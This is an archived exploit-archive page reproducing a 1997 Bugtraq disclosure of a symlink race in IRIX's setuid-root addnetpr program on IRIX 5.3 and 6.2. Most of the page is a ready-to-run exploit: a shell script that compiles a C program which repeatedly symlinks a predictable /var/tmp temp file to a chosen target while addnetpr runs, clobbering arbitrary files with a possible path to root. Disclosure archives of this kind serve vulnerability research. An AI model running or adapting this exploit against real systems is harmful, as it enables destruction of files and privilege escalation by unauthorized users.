IRIX addnetpr race condition
Description: | IRIX's addnetpr program has a symlink race condition that allows the clobbering of arbitrary files. |
Author: | Jaechul Choe <poison@COSMOS.KAIST.AC.KR> |
Compromise: | cause addnetpr to write to arbitrary files. It is unclear whether it appends or overwrites to already existing files. Could probably lead to root access. |
Vulnerable Systems: | IRIX 5.3, 6.2 |
Date: | 9 May 1997 |
Date: Fri, 9 May 1997 06:33:46 +0900
From: Jaechul Choe <poison@COSMOS.KAIST.AC.KR>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Irix: misc
Wow, your works are so fertile and wonderful.
Let me add some stuffs
[. . .]
There was the same race condition in the program, /usr/lib/addnetpr,
another
suid root program for print.
Here is the exploit script for it.
But though I tried, it was hard to find the way to get root with it.
It can fill the target with the two argument of addnetpr, but with some
messages unable to control.
And it will prompt the window asking root passwd to non-privilegedd(not
root,
but irix-specific privileged) users.
Privileged users bypass the window and can run the race.
Tested both IRIX 5.3 and 6.2
---------------)<-----------cut expnetpr.sh
---------------)<----------------
#!/bin/sh
PROG="`basename $0`"
if [ $# -ne 1 ]; then
echo "Usage: $PROG <target>"
exit 1
fi
cat > expnetpr.c << _CREDIT_TO_ZOMO_
void main(int argc, char *argv[])
{
char *template = "/var/tmp/printersXXXXXX";
char *target;
int pid;
target = (char *)mktemp(template);
if ((pid = fork()) > 0) {
sleep(3);
umask(0);
execl("/usr/lib/addnetpr", "addnetpr", "localhost","+",
0);
}
else
while(1) {
symlink(argv[1], target);
unlink(target);
}
}
_CREDIT_TO_ZOMO_
/bin/cc expnetpr.c -o expnetpr
if [ ! -f expnetpr ]; then
echo "Couldn't compile expnetpr.c, lame! \nMake sure that C
compiler has
been installed from the IDO"
exit 1
fi
while(`true`)
do
./expnetpr $1&
PID=$!
sleep 15
ls -al $1
killall expnetpr
killall addnetpr
done
--------------------)<------------ cut
---------------)<-------------------
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: